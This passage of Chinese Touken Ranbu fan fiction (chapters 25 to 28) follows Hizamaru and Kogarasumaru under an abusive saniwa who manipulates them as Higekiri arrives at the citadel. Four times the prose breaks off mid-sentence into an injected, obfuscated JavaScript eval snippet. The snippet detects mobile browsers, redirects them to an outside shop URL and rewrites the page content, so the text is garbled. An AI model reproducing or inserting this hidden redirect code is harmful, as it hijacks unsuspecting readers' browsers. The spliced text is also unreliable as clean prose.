听到声音的小乌顿住脚步,他转过身,却发现三日月宗近已经缓步离开了,一如既往的。 万屋?她竟然又去万屋了吗? 啧!小乌站在原地,随后转过身立刻往部屋的方向走。 人类的想法他完全不能明白,既然每次去万屋都会生气,为什么还一定要去那样的地方? 不是她的,看再多遍也不会变成她的。 * 膝丸从天守阁出来的时候,天已经彻底黑了下来,拖着沉重的步伐和往常一样往回走,这个时间小乌应该已经睡了吧。 然而熟悉的声音在不远处响起,那道声音即使是在寂静的夜晚也已经显得极轻。 “膝丸。” 膝丸愣住,他看向声音的来源处,随即便皱起了眉,“你怎么在这里?我不是和你说去远征了吗?” “三日月宗近和我说她今天去了万屋,虽然整天说着那些不明所以的话,但他不会和我说这种毫无意义的话,”小乌上前扶住膝丸,“你现在,感觉还好吗?” 三日月宗近……膝丸眸中的情绪没有多少变化,只是在看到小乌那双无二的眼睛时神色缓了下来,“我没事。” “没事,没事,没事,你就知道这么说,”小乌撇了撇嘴,随后目光定在膝丸的本体上,又收回了短暂的目光,“饿了吗?我给你留了晚餐。” “我不……” “远征回来肯定饿了吧,拥有人身,就算不吃不会饿死,但该有的感官还是有的啊。” 膝丸:“……” 见膝丸没再说什么来反驳,他便扶着膝丸往厨房走,“走吧,去厨房,我给你下面吃。” 膝丸动作一顿,随后无语道,“你不是给我留了晚餐吗?” 小乌点头,没觉得有哪里不对,“是啊,准备好了材料,不算吗?” 说着他细数道,“接下来只要烧开水,把面条放进去,再加上配料,应该就可以了吧?” 膝丸突然觉得不太靠谱,“明明就是个面条,为什么你还要用应该这个词?” 小乌有些尴尬的偏过头,然后重新给自己打起精神,“没问题的,你相信我,我做的绝对没问题!”见膝丸直勾勾地盯着自己,他的气势卸了几分,“……肯定能吃。” 说着他就像是摆烂一样,“反正都这样了,你先给我试试,等我厨艺增长,以后我就可以照顾髭切大人啦!” 膝丸:“……” 他简直不知道该说什么,“拿我做实验品,然后来讨好兄长?你还真是有想法。” “有问题吗?”小乌光明正大道。 “哼。” 小乌才不介意膝丸冷下来的脸,他从身后拿出一个纸袋子,放在膝丸手上,像是挑衅一般的话语,“身为髭切大人最亲密的弟弟,连这点自信都没有吗?” 膝丸看着明显是打包好的点心,皱起了眉,他们本丸的刀剑没有办法去万屋,所以这种东西只能是小乌从过去的时代买来的,“你出阵的时候到底都在干什么?” “你管我出阵的时候在干什么,”自从那天两人吵过后,小乌私下里才不客气,直接开口就怼,随后道,“我问过今剑了,他说你喜欢吃这种。” “你先吃,我去给你下面,到时候就算是面很难吃,你也可以忍忍吃下去的吧。” 小乌说完就去烧水了。 看着那道有些手忙脚乱的身影,膝丸低下头拆开了包装纸,没再管忙活起来的小乌,看着包装纸里面的东西露出真面目时,他还是难得停住了目光。 虽说一直独自忍耐着倒也不算什么,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508667|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……被另一个和自己在历史上明明毫无交集的存在强行闯了进来,这种感觉并不坏。 这一切是因为兄长。 如果没有兄长,他和小乌甚至都不会又开始。 兄长……其实膝丸现在并不希望兄长来到这个本丸,最起码在这个审神者手里他不希望兄长的到来,他担心自己忍耐不住,他担心自己在兄长面前露出破绽,他不希望兄长为他烦扰。 但是,如果兄长不来,膝丸抬眸看着眼前的那道身影,眼底不免浮现出了挣扎,他的忍耐的确没问题,就算是最后碎刀也没什么,他之所以活着本就只是为了兄长不被困住罢了。 可是单靠他自己,以那个人类的手段,如果她对小乌起了歹念,他护不住小乌。 虽然很麻烦,但这的确是一个好孩子。 “是大成功!”膝丸听到面前那道声音激动起来,“膝丸!可以吃!” 膝丸:“……” 有的时候真的很单纯,和那些短刀没什么分别,甚至更单纯。 你看,因为这么一点小事就能开心成这样,这让他怎么才能不为他担心? * 用完晚餐,两人便一起往部屋走。 “是不是超级好吃!”小乌缠着膝丸要感想。 膝丸无奈应声,“是,是,味道……还不错。” 心里松了口气,脸上的表情却得意起来,“我就说不会有问题,我在这方面果然还是有天分在的,下次我就可以独立掌厨做更复杂一点的东西了。” “不,你还是算了,”膝丸阻止道,见小乌看过来他立马就找到了理由,“你平时一直在出阵,哪有时间做这种事情?” “出阵啊,”小乌也意识到了这点,他严肃点头,“的确,没办法,那就只能提升实力了,等到髭切大人来了,我一定要让我夸我!” 膝丸看着小乌期待的眼神,眸子微动,他问道,“你很希望兄长降临这个本丸吗?” 小乌道,“希望是肯定希望的吧,好不容易显现,连髭切大人的面都没见过,实在是太可惜了,膝丸你不是也想吗?” “不过这些我们想没有用。” “髭切大人究竟会不会来,根本就不是我们能控制的。” 膝丸:“……” “你说的也是。” 回了部屋两人准备休息,膝丸就看见小乌抱着被子往外走,显然是要在外面休息,他的眼神复杂,最后还是道,“你留下来休息吧。” 小乌意外地停下脚步,“你……” 心情非常不错,不过他还是道,“还是不了,自己的部屋随意点就好,不要那样忍耐。” 他走出部屋,回头道,“没关系,你不用在意我,反正你在本丸里的名声已经糟透了,也不差这么一次了吧,只要你不觉得他们说你的时候是我故意在欺负你就行。” “晚安。” “好好休息。” 看着那扇门掩盖住了小乌的身影,膝丸将腰间的本体随意地丢在一边,然后躺在地上。 26.第 26 章 清晨的天色才微微亮起,小乌就被一道黑色的身影给叫醒了,本就不高的太刀在小乌面前蹲下身,将他睡了一夜依旧整洁的头发揉乱, 小乌被叫起到彻底清醒过来也只是一瞬间的事情,微微睁大的眼睛缓和下来,他立马就准备站起身,却被小乌丸给按住了,“欸?小、小乌丸大人?” “你这孩子昨晚又在外面睡了。” “没地方睡不知道来找为父吗?” 小乌摇摇头,“膝丸昨晚……”他说到这里顿了顿,随后道,“远征回来的时间实在是太晚了,那种时候实在是不方便去打扰您休息。” “远征吗?” “嗯。” “真是辛苦呢,主公的看重。” 小乌沉默,没有对这句话做出什么回复,小乌丸显然也没有希望从他这里得到些什么。 只是,小乌看了一眼天色,又迅速地看了一眼其他部屋的位置,以及寂静的连廊,“谢谢您早上特地来叫我起来,我现在就回部屋休息。” 小乌丸在这个时候没再阻拦,他收回了自己的手,小乌也趁着这个时间立马站了起来,随后对着小乌丸鞠了一躬,“非常感谢您!” 这样就不会让其他刀剑再误会什么了,虽然这样做并不会给膝丸对自己的态度造成什么好的影响,但总归是不会更坏了吧,因此,他的感谢的确是真心的。 “离大家起床的时间还有些时候,再休息一段时间吧。” “嗯!我会的,小乌丸大人,谢谢。” 小乌拉开部屋门,这个时间回去,膝丸还没有到醒过来的时间,不会痛苦,也就不会在自己面前刻意忍耐什么,那一副可能相当狼狈的模样……小乌知道,膝丸并不希望自己看到。 至于理由什么的,或许是因为正品的自尊心所以才不想被他这个替代品看轻吧。 小乌抱着被子关上了部屋门,看着沉睡着的膝丸,在他身边不远处再次躺了下来。 还没到要说早安的时候,自己确实还要再睡会儿。 否则白天可能就没有什么精神完成任务,要是在任务中受了伤,那就不是一般的麻烦了。 * 小乌今天依旧在出阵,至今他也没发生什么特别糟糕的事情,只有每天的队友经常换人,为了在出阵的时候可以更加顺利,他还记住了不少名字,还有在飞速增长的实力和练度。 但是……随着实力的增长,出阵合战场遇到的敌人也就愈发棘手,受伤是再正常不过的事情,以及没有更多休息时间的疲惫感在脸上是掩饰不住的。 再一次因为躲闪不及被刺伤,歌仙兼定伸手扶住了他,他担忧道,“小乌,你还好吗?” 小乌低头看向已经被染红的腰侧,“嗯,我没事,不用担心,先解决敌人。” “啊,好,你要小心。” “多谢关心。” 将这个地方的敌人暂时解决之后,歌仙兼定才又走到他身边来,“小乌你看起来很累,不行就稍微休息一下吧,剩下没有解决的敌人和任务就都交给我们,我们会处理好的。” 小乌摇头,“没关系,主公的命令我会完成的,不会拖累任务……” “好了,我是队长,”歌仙兼定打断道,“你就在这里稍微休息,这是队长的指令。” 小乌沉默着盯着眼前的打刀,往后退了一步,“我知道了,”末了,他还是说了一句,“谢谢,多谢关心。” “这种话就不要说了,主人不了解出阵,我们都清楚,”歌仙兼定说完就带队走远,不住道,“真是,主人到底在想什么?就算是对小乌抱有更多的期望,也不是这样看重的吧。” “是啊,明明本丸里的刀剑那么多,就算是因为髭切的原因偏心,这也过了吧。” “这种话记得千万不要在主人面前说了啊,她会生气的。” “我知道我知道,但我们也就只能抱怨几句了,不是吗?” “好了好了,别说这个了,赶紧去追敌人,不许偷懒!” * “那孩子相当在乎膝丸,还不是那种一点半点的在乎。”莺丸所说的并不是其他刀剑看到的那副小乌每次示好都被膝丸拒绝排斥在外的样子,有些事情他们其实都很清楚。 “反过来也是一样,不是吗?”虽然明面上看起来小乌并没有给膝丸带来如何的改善,但是陪伴有时候的作用不是一般大。 “啊,是个好孩子呢。” “但是,他不适合这个本丸。” 膝丸的处境,审神者的执念,他们这些注视着本丸的刀剑怎么可能不知道,不过审神者即使是意识到自己的行为被他们发现了也不会有什么特别的反应。 就算是审神者的所作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545845|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所为被揭露,交换得来的更多只会是更加肆无忌惮,其他刀剑会不会被伤害不清楚,但审神者一旦不打算伪装,对源氏来说并不是一件多好的事情。 现在的他们需要为了审神者维护本丸的和谐与美好,就像是髭切如果显现,他们甚至还需要帮助审神者一起隐瞒住那位审神者说过并不简单的常年流转在源氏首领手中的那位重宝。 再有,自始至终,本丸里遭受伤害的也只有膝丸一刃,仅此而已,其他的刀剑都在审神者的正确领导之下,并没有发生什么其他的意外。 “那么,今剑呢?” “他相当在意膝丸的情况,现在因为膝丸和小乌相处的也不错。” “……” “我会看好今剑兄长的。” “真是……你还是这么一副样子啊。” “不过你做的也不算错,即使我对现在的主人并没有什么兴趣,但是,主人就是主人。” 锻刀室里传出来一道清亮的笑声,激动和惊喜的情绪无论怎样都能听得清清楚楚,两刀看向锻刀室的位置,彼此对视一眼,都确定了他们共同的想法。 能开心成这个样子,无非就只有一个原因。 ——他来了。 三日月宗近微微垂眸,随后道,“膝丸殿现在在做马当番,小乌殿是在出阵吧。” 莺丸应声,“的确是这样。” 审神者满身的喜悦都快要溢出来了,身边是其他刀剑的恭喜声,不过,审神者在路过喝茶的两人后,在他们身边停下了脚步。 “几位都是平安年代的刀剑吧,”那道女声里难掩兴奋,但是那双眼睛在看向两人时却并未掺杂多少笑意,甚至可以说是警告,“过来一起聊聊怎么样?” 没有什么拒绝的余地,两人起身,三日月宗近道,“当然没问题,我以前也在源氏待过一段时间,要是说起源氏的话,也能说上两句。” “哈哈,这样就好,”审神者带着两人往天守阁走,一路上边走边说,“要确定一个聊天的主题吗?唔,我想到了!一定要让髭切知道我们这个本丸的美好,是多么的适合他。” 将手中的太刀平举起来,审神者笑道,“如果这个本丸让髭切失望了,那就没有办法了,我会很伤心,然后……” “那就很可能会让你们失望了。” “……明白。” 27.第 27 章 审神者亲自带着髭切给他介绍本丸的布局,女人整个人周身都写满了名为开心的情绪,毕竟是这一代的主人,也是他现在要侍奉的家主,髭切自然不会不配合。 他就这样跟在审神者身旁,将本丸的大致情况记下,看着审神者兴致勃勃地给他介绍,他也一路附和着,路过马厩,髭切莫名警觉地注意到了里面的那道身影,“那个是……” “啊?”顺着髭切的目光看过去,审神者也一样看到了那道熟悉的身影,随即便恍然大悟道,“对!你看你,终于来了让我高兴的,我差点都忘了他今天是马当番。” 审神者说完这些还不好意思地笑了笑,然后就赶紧抬手朝着马厩那边高兴地招手,“膝丸!你兄长来了!赶紧出来看看啊!” 膝丸? 嗯,这个名字,好像相当熟悉呢。 髭切心底这么想着,眼中的笑意却已经逐渐变得真诚起来,在髭切的视角,他能看到里面那道身影一顿,随后几步就从里面跑了出来,“兄、兄长?” 看着那张脸上露出来的不可思议,以及看到自己的呆愣愣的样子,像是看到了什么不可思议的存在一样,是觉得他的到来有些突然了吗?哈哈,不过这个样子看起来真是相当可爱呢。 髭切主动和自己的弟弟打起招呼来,“呀,是弟弟吧,好久不见了呢,”不过说完后他就发现膝丸站在原地一句话也没说,髭切的眼神变得疑惑起来,“弟弟?” 为什么弟弟不理他? 髭切对此感到迷惑。 “啊,抱歉!兄长,我、我太激动了,”膝丸终于是回过神来,诸多情绪在这一刻见到兄长却无法肆意吐露出来,最后只是低头道,“我没想到你竟然这个时候来了。” 审神者站在一旁接道,“膝丸见到你开心得都说不出话来了。” 见髭切看过来,审神者叹了口气,“毕竟一直等,一直等,等你等了很久了。” “是吗?” 是因为等太久了才会这样吗? 审神者没有回答这个问题,她指向膝丸身后,例行着自己的介绍,“这里是马厩,也是大家在本丸里轮流要做的内番,今天轮到膝丸了。” “哦,”髭切只是点点头,他站在原地没等到弟弟靠近或者说更多,也没在这个时候再说些什么为难他,“那,嗯……马饲丸要好好完成任务啊。” 马饲丸?膝丸惊愕地瞪大眼睛,兄长不记得他的名字?“不是马饲丸。” “欸?” “兄长!” “我的名字是膝丸。” “是这样吗?” 髭切看着那双认真起来的眼睛,点头应声,“哈哈,总之,要好好工作呢。” “兄长,兄长现在就交给……”膝丸看向审神者。 审神者笑道,“放心,我带着你兄长逛本丸,你尽快把马喂好再来找他吧。” “是。” 膝丸顿了顿,“……家主。” 嗯? 髭切若有所思地看了一眼膝丸,然后露出了笑意,“那么,一会儿见了,弟弟。” ……弟弟,是兄长在叫他,是他一直以来都在想念着的兄长,膝丸忍耐着,就这样注视着那道身影逐渐远离,这才重新走进了马厩。 马儿似乎是察觉到了悲伤的情绪,原本正在吃草的速度都慢了下来,小心且犹豫着用自己的脑袋上前蹭了蹭膝丸的脸,膝丸撇开头。 “我没哭,我才没在哭。” “兄长来了,终于能见到兄长了,和兄长在一个本丸,这是好事。” 只是…… 只是太突然了,他还什么都没有准备好,绝对!绝对不能在兄长面前露馅! * “就是有个问题。” “问题?” “嗯。” “本丸里的刀剑基本上都是两个人一起住的。” 髭切看着审神者,疑惑道,“我和弟弟一起住不可以吗?” “膝丸现在有和其他的刀剑一起住,”审神者也没有找什么特殊的理由,她点明了事实,然后又直白道,“而且我想让你住在离天守阁最近的那间。” 髭切定定地看着审神者,这个人类身上满满的都是对他的渴望和喜爱,至于更多的,他暂时还看不出来,“好吧,既然是家主的意思,我就住在那里好了。” “太好了!”审神者高兴地跳起来,然后拉着髭切就往天守阁的方向走,“走走走,我带你去看你的部屋!” 髭切被扯着只能跟上她的脚步,“你慢点啊,家主,小心不要摔跤了。” “不会的啦,”被关心的审神者脸上漫上了幸福的笑容,“我又不是那种小孩子。” * 本丸的转换装置亮了起来,莺丸一直等在那附近,他一眼就看见了被歌仙兼定扶着显然已经是重伤的小乌,在心底叹了口气,然后上前道,“大家辛苦了,把他交给我吧。” 歌仙兼定也没想太多,就这样将小乌送到了莺丸身边,“莺丸殿,拜托你了。”他的脸上满是愧疚,“今天是我没有带好队,错估了敌人的行动,这才让被留在原地的小乌被重伤。” 小乌看了一眼将过错全部背在自己身上的歌仙兼定,“不是你的问题,是我实力不济。”随后又完全没有精神地闭上了眼睛。 莺丸扶住了小乌,“歌仙,出阵汇报稍后再去吧,现在不要去打扰主人,髭切殿到了,主人正在和他聊天,现在贸然打扰,主人会不高兴。” 髭切大人? 原本精神不济的小乌骤然间睁大眼睛,莺丸也一样清楚地感知到了手中人的动静。 歌仙兼定意外道,“竟然到了吗?”想了想也知道这种时候的确不适合打扰,他应声,“我知道了,那我先回去写出阵报告。” 一起出阵的几刀都被莺丸用话让他们离开了,小乌看向天守阁的方向,被莺丸带着往手入室的方向走,“髭切大人已经来了吗?” “嗯,刚到,主人将他安排在距离天守阁最近的那间部屋,”莺丸看着小乌那双紧紧皱起的眉,“看来膝丸接下来还是需要你多多照顾了。” “照顾?”小乌目光凌厉地看向莺丸,“你到底想说什么?” 莺丸并未有太大的反应,“主人很喜欢髭切,她希望可以和髭切和谐相处。” 见他没有像以往一样的谜语人行为,小乌冷哼一声,“她是审神者,她一直都有选择,不喜欢膝丸,她明明可以选择不召唤他,现在这样难道很有意思吗?” “你说的不错,”莺丸附和了一句,“但是事情已经发生了,你想过没有,如果因为膝丸的事情导致主人和髭切之间的关系破裂,你觉得会发生什么事情?” 莺丸再道,“当主人不再需要在髭切面前掩饰自己时,你觉得她又会做到什么程度?” 小乌没有回话。 “你觉得主人为什么要在其他刀剑面前掩饰自己的举动?即使是主人想要光明正大的做些什么,其他刀剑也没有办法去阻止主人,即使觉得不该,他们也不会站在不是主人的那边。” “其他刀派不说,就算主人只有粟田口一个刀派,他们的实力你也应该很清楚,镇压一个本丸根本不是问题,那么为什么?为什么主人还要小心翼翼的行事?” “应该是因为髭切是振很敏锐的刀剑吧,这种事情要是被太多人知道了,很容易就会被髭切发现,所以,很显然的事实,主人不希望自己的形象在髭切眼里受损,就是这么简单。” “小乌,维持住现状对所有人来说都是好事,本丸会继续和平下去,对我来说是,对本丸其他刀剑来说也是,对你是,对膝丸和髭切都是好事。” “但一旦和平被打破,髭切的处境会如何我们不清楚,但得知了这种事实的他要说好也不太可能,至于膝丸,他那个时候的处境只会更糟。” 莺丸没有说小乌自己可能的结果,他知道说这个没有用,一个在显现时就能因为某种原因想着主动去跳刀解池的刀剑,说再多也没有用处。 “髭切已经到了,本丸会变好的,”莺丸从小乌的手里抽出本体,放进了修复池,“因为他是个很敏锐的刀,碍于他的存在,只要膝丸掌握好尺度,以后就什么事情都不会发生。” “或许主人没觉得你和膝丸的关系怎么样,但我能看得出来,你很在乎膝丸,”一边投入资源一边道,“就算不从这个本丸的角度考虑,那就从膝丸的角度考虑一下吧,如果……” 小乌打断道,“你不用多说了,我明白你的意思,请放心,我不会去做让髭切大人为难的事情,但是,如果是膝丸自己隐藏不住,又要怎么办?” “你明明知道,为了他的兄长,膝丸不会那样做。” “而且,不是还有你在?我刚刚不是说了,膝丸需要你照顾。” 转移话题。 明明知道他说的不是这个意思。 既然都知道髭切大人很敏锐,难道都不怀疑膝丸在髭切大人面前藏不住自己的可能性吗?如果藏不住,现在一直要隐藏的意义又是什么?难道还能指望他们对那个人类做什么吗? 那么,他能想到的就只有一个可能的结果,小乌垂眸,眼神逐渐变得恐怖起来,然而也就在这时,门外响起了一道声音,“莺丸殿。” 听到熟悉的声音,莺丸回过头,他对着膝丸轻轻地点了点头,“膝丸殿。” 膝丸看了一眼小乌微抬的眼神,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575336|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么,只是对莺丸道,“把小乌交给我就好。” 莺丸看向小乌,但小乌却在此刻撇开了头,他回过头面向膝丸,“抱歉。” 随后便踏出了手入室,“我不打扰你们了,那,你们聊。” 膝丸走进手入室,他盯着小乌,小乌却不看他,最后只能道,“怎么受了这么重的伤?” 小乌冷哼一声,但还是没有甩开膝丸的手,“少管我,明明连自己都管不好。” 膝丸叹了口气,听起来无奈极了,“你这臭脾气到底是随谁?” “你……”小乌下意识怼他,但想到他刚刚才说的话又用力憋了回去。 膝丸接着道,他将小乌按在一旁坐下,“反正肯定不是兄长,我看到兄长了,明明兄长看起来是那么的温柔,你和兄长真的一点也不像。” 小乌不以为意,“我当然不能和髭切大人相提并论,这不是理所当然的事情吗?” 膝丸弯腰揉乱了他的头发,温声道,“也是,你对兄长是很尊敬的啊。” 废话。 要不是为了形象,小乌真想当场给膝丸翻个白眼看看。 随后,他就听见膝丸再次发问道,“那,兄长和我,在你眼里谁更重要?” 小乌:“……” “你自己觉得呢?” 小乌抬头反问道,可膝丸却只是一直盯着他的方向,他撇开目光,“当然是髭切大人。” 膝丸对这个结果看起来相当满意,“你能这样想就很好,我今天看到了,审神者发自内心的高兴,兄长是会被审神者真正重视的那把刀,你明白这个道理的吧。” “……” “……” 手臂被那双手紧紧握住,膝丸只能看到小乌那垂下的眼帘,那道熟悉的声音此刻低沉道,“只是这样就好了吗?” 膝丸就这么任由他握住自己,“没错,只要这样就好。” “真的只要这样就好了吗?” “当然,只要这样就,”膝丸说话的声音突然顿住,他看到自己衣袖和地上的水渍,说话的语气也犹豫起来,“小乌,你……” “我没事。” 小乌沉闷的声音响起,“你别多想。” 膝丸:“……” 膝丸的心情复杂起来,可他明明什么都没说。 “哈哈哈,髭切殿要去什么地方吗?” “我听说弟弟在这里,这里我记得是……嗯?受伤了吗?” 手入室外的声音让里面的两人都动作一怔,小乌猛地抬起头,和膝丸对视一眼,肉眼可见的慌了起来,他不想被看到自己现在这么一副丢人的样子,直接抱着膝丸就往他的怀里钻。 髭切站在门外,一眼就看到了里面的两人,“弟弟?欸?那是……” 膝丸站在原地也不能动,他也不能就这样把小乌给推出去啊,“啊,兄长,我,他……” 在髭切探究的目光中,膝丸只能解释道,“这孩子出阵回来受了伤,所以有些嗯……”他看着小乌又再往自己怀里拱了拱,“而且,兄长你……” 髭切走进,这个时候也注意到了小乌的出阵服,有些意外,“哦,这是源氏的刀吗?” 膝丸想到什么,立马解释道,“兄长,他是小乌。” “小乌?”髭切从自己的记忆里找出了这个名字,啊,嗯?所以,不敢见自己?难道是因为那种事情害怕自己? 见到兄长恍然的眼神,膝丸也大概知道兄长想到什么地方去了,没错,就是这样就很好,这样就给小乌找好理由了,他连忙道,“兄长,我一会儿就去找你。” 既然弟弟都这么说了,髭切点头,他笑道,“嗯嗯,我不着急,你先照顾好这孩子吧,还有,小乌是吧,受伤了就要好好休养啊,我先走了。” 等到脚步声消失,膝丸还是不由地屏住呼吸,过了好一会儿才道,“兄长已经离开了。” 小乌默默地从他怀里出来,最后只是道,“真不愧是髭切大人,果然温柔。” 膝丸点头,但他还没忘记刚刚发生的事情,“你刚刚……” 没等膝丸说完,小乌立马打断道,“什么都没有!” 随后他接着道,低下头,“你说的事情我明白了,放心吧,我不会做那种会让髭切大人为难的事情。” “我先回部屋休息,”小乌起身,“你去找髭切大人聊聊吧。” 膝丸微怔,然后点头,“啊,好。” 的确要和兄长聊聊,他一直躲着兄长反而会引起怀疑。 走出手入室,小乌看到了坐在手入室附近的三日月宗近,对他投过来的目光并未做出什么反应,只是瞥了他一眼什么话都没说,径直离开便回了部屋。 28.第 28 章 事情真的会就这样停止吗? 那个人类真的会就此收手? 小乌一个人走回部屋,路上收获了其他正好路过的刀剑对他受伤这件事情不止一句的关心,他也都一一回应了,之后竟然没在第一时间继续走下去。 本丸里的刀剑对他都还不错,对膝丸也不算坏,虽然对他和膝丸之间的关系有所误解,但这毕竟是他们两个之间的事情,和其他刀剑并没有什么太大的关系。 以及,膝丸平日里明面上对其他刀剑也都是比较冷淡的态度,小乌不是很确定这里面的事情,但他觉得应该是有那个人类的原因在里面,但凡那个人类不是那样…… 推开部屋门,小乌走了进去,这间部屋还是和早上他离开时差不多,没有多出来什么其他的东西,顶多是膝丸在他出阵之后将房间简单的整理收拾了一下,才会有些不一样。 也是,髭切大人不和他们住一起,怎么会多什么东西? 小乌将自己身上的出阵服利落换掉,然后先丢在一边,再从柜子里将被子抱出来铺好,就这样趴了上去。 说是要休息,其实根本就睡不着。 身上的伤口毫无疑问是在疼的,但更多的……他果然还是后悔自己到底为什么要在今天受伤啊?! 膝丸现在应该很开心吧,髭切大人到了,他现在能和髭切大人在一起就能开心的不得了吧! 你说为什么开心?这难道不是理所当然的事情吗? 可恶! 他也想要啊—— 膝丸回来以后一定会和他说髭切大人的事情,可恶……小乌使劲锤着被子,可他刚刚才那么丢人,实在是没脸去见髭切大人。 要是见到髭切大人的第一面就留下什么不好的印象,以后他要怎么挽回?不,不行,绝对不能让这种事情发生!他要给髭切大人留个可靠的好印象!绝对! 但是,这样的激动在想到什么事情后又像是被突然浇了一盆冰水下来,目光沉沉,将自己埋在被子里。 什么啊,就算是这样想也根本没办法安心休息。 “……” 小乌翻了个身,双眸直勾勾地盯着眼前,不成焦点,就这样虚虚的望着。 直至门外一道靠近的脚步声走近,停在部屋门口。 这不是膝丸的脚步声,小乌回过神看过去,房门被拉开,看着那道身影,小乌愣了愣,随后坐起身,“主公?” “你怎么一个人待在部屋?”人类的目光紧紧盯着,单纯的注视着小乌那张脸上表露出来的情绪,似乎是想要把他掰开看清在想什么,“不感兴趣?髭切来了,你知道吗?” 小乌有些发愣,随后低下头道,“……嗯,我知道。” 他压抑着声音,“抱歉,主公,我……出阵重伤是我实力不济,这种时候我怎么能就这样出现在髭切大人身边?” 审神者眸光一闪,随后她走近,就站在小乌附近,说出来的话倒也没有否认他,肯定道,“的确,好歹是髭切的仿刀,太差劲了可配不上他。” 小乌头低得更深了,脸上露出了羞愧的表情。 “抱歉。” “我以后一定会更加谨慎小心。” “好了。” 审神者盯着小乌,随后话锋一转,“我听歌仙说过这次出阵的情况了,你这次重伤也不能完全怪你。” “你最近的出阵频率的确太高了,但这并不是我对你太严厉,我只是希望你能好好提升自己,”审神者声音放缓,“你只有变得强大了,才有资格加入他们兄弟之间啊。” 什么? 小乌愣愣地抬起头,“主公?” 审神者微微屈膝,让自己的眼睛得以和小乌平视,“你很希望得到髭切的认可吧。” “你很嫉妒膝丸和髭切之间的情感吧。” 小乌张开嘴,又闭上没有说话。 他看着那双黑色的眼睛,鬼使神差地点了点头。 啊,她说的这好像是事实,他应该嫉妒膝丸的—— “那就去做。” “有些事情你不争取怎么行呢?” “我啊,一直都是这么期望着的呢。” “我……” 小乌下意识地想要脱开和她的对视,但刚有这个想法就又被一只手给掰了回来。 眼前的人影好像逐渐变得模糊起来,小乌只能听到那道就在耳边的声音,“不过你受伤了的确需要恢复,最近就先暂停出阵,出去远征调查吧。” “……是。” “那么。” “小乌,别让我失望。” 审神者就这样看着小乌不受控制地闭上眼睛向着一旁倒了下去,所幸下面正好是被子,没有给他造成什么伤害。 脸上的笑容迅速收起,审神者看着青年的眼神露出了几分厌恶,放大心里的欲望,你内心的丑恶将无所遁形。 嫉妒是会变成恶鬼的,审神者想起了她听到过的髭切说的这句话,哼,眼前这个马上就会是了。 不过,这点小动作还是耗费了她一定的精力。 她抬脚刚要离开,想到什么后又停下脚步,十分嫌弃的抽出上面的被子,将人随便的摆了一下,再给他盖上被子,然后才离开了这间部屋。 * “这么说,你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659214|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是和那孩子一起住的啊。” “嗯。” 膝丸点头,随后又道,“那个,兄长。” “嗯?” 膝丸纠结着怎么说比较合适,毕竟他也不能把小乌推得太近,那个人类还在看着呢。 “小乌,他是个好孩子。” “欸?”髭切偏头疑惑地看向膝丸,满脸不解道,“怎么突然这么严肃?” 他想了想,“唔,难道你是觉得我会欺负他?” “不是这样!” 见自己被误会,膝丸连忙解释道,“就他刚刚……” “总之,那孩子就是有些小脾气,其他地方都挺好。” 真是别扭的说法。 髭切感到好笑,“好,我知道了。” 膝丸停下脚步,“到了,兄长,这里我的住的部屋,”拉开门,“小乌现在应该在,也不知道有没有好好休息。” 髭切跟着走了进来,膝丸看到睡着的小乌有些意外,“小乌?” “呀,这孩子好像睡着了呢,”髭切走近也没见小乌醒过来的动静,“是因为受伤的原因需要休息吗?” 膝丸凑近仔细注视着那张此刻正熟睡着的脸,随后严肃道,“大概是因为最近出阵比较频繁,所以没能休息好,受伤了才更好睡吧。” 小乌之前虽然说了回部屋,但膝丸可没觉得他会睡着,兄长来了这种事情,他不可能那么淡定的睡觉吧。 结果,没想到竟然真的睡着了。 膝丸探究的伸手戳了戳小乌的脸,嗯,的确是睡着了,真是难得。 髭切的目光在膝丸的脸上停驻,然后又若有所思地看向睡过去的小乌,轻笑一声。 “看来你们两个的确相处得很好呢。” 目光掠过部屋里的其他角落,部屋的空间不算小,髭切疑惑道,“话说,弟弟知道家主为什么不让我和弟弟你们住在一起吗?” 